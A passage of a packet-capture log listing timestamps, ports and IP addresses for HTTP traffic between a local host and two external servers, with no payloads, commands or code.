Jul 27, 2024 05:39:08.739902020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739916086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739928007 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739928961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739943981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.739953995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.739989996 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740048885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740062952 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740077019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740089893 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740101099 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740103960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740124941 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740145922 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740197897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740211964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740225077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740237951 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740252018 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740252018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740287066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740319014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740442038 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740456104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740469933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740490913 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740492105 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740506887 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740514994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740523100 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740535021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740535975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740550041 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.740573883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.740605116 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.747026920 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747040987 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747092009 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.747162104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747246027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747260094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747273922 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747287035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747287035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.747303963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.747315884 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.747344017 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780348063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780373096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780388117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780401945 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780415058 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780436993 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780451059 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780463934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780478954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780509949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780524969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780525923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780525923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780525923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780525923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780538082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780545950 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780551910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780559063 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780566931 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780580044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780615091 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780831099 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780844927 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780858040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780894995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780896902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780908108 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780910969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780925035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780942917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.780946970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780961037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780975103 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.780976057 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.781013966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.781060934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.781075001 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.781089067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.781104088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.781107903 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.781119108 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.781143904 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.781172991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.818228006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:08.818279982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:08.818449974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:08.820086002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:08.825377941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:08.828958988 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829026937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829077005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829125881 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829158068 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829189062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829221964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829268932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829302073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829333067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829382896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829379082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829379082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829379082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829379082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829379082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829379082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829379082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829415083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829449892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829466105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829466105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829497099 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829504013 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829531908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829555035 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829585075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829622984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829626083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829653978 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829679966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829689026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829715967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829736948 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829749107 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829787970 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829835892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829833984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829833984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829869986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829900026 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829900980 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829920053 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.829933882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829965115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.829997063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830012083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830028057 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830045938 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830065012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830089092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830092907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830118895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830123901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830141068 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830156088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830177069 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830189943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830220938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830245018 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830251932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830282927 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830285072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830312967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830316067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830329895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830348969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830375910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830385923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830406904 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830414057 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830430984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830440044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830466986 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830487967 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830499887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830521107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830544949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830552101 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830569029 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830599070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830609083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830629110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830648899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830681086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830686092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830714941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830737114 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830746889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830797911 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830802917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830831051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830859900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830892086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830894947 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830912113 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830939054 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830952883 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.830987930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.830998898 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831020117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831043959 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831053019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831079960 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831084013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831101894 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831116915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831137896 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831147909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831172943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831180096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831206083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831212044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831226110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831243992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831275940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831296921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831307888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831336975 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831341028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831367016 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831373930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831386089 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831406116 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831437111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831438065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831469059 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831474066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831494093 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831501961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831521988 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831537962 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831556082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831571102 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831593037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831603050 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831624031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831634998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831657887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831666946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831697941 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831698895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831727028 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831731081 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831751108 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831763983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831785917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831794977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.831809044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.831871986 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.837937117 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.837977886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.838032961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.838032961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.838056087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.838109970 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.838110924 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.838146925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.838161945 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.838198900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.838210106 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.838232040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.838253021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.838265896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.838284016 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.838316917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871109962 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871176958 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871193886 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871225119 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871227026 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871259928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871270895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871290922 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871304989 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871323109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871332884 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871356964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871365070 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871388912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871397972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871426105 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871437073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871470928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871483088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871531010 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871561050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871578932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871582031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871598005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871612072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871620893 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871628046 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871642113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871642113 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871665001 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871670961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871680975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871695042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871706963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871707916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871726036 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871732950 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871741056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871752977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871752977 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871767044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871779919 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871793032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871793985 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871809006 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871822119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871829987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871836901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871850967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871851921 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871866941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.871886015 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.871918917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919408083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919477940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919512033 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919528961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919544935 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919581890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919583082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919595957 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919629097 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919680119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919727087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919748068 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919748068 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919758081 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919769049 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919790030 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919806957 CEST	49476	80	192.168.2.4	185.215.113.16
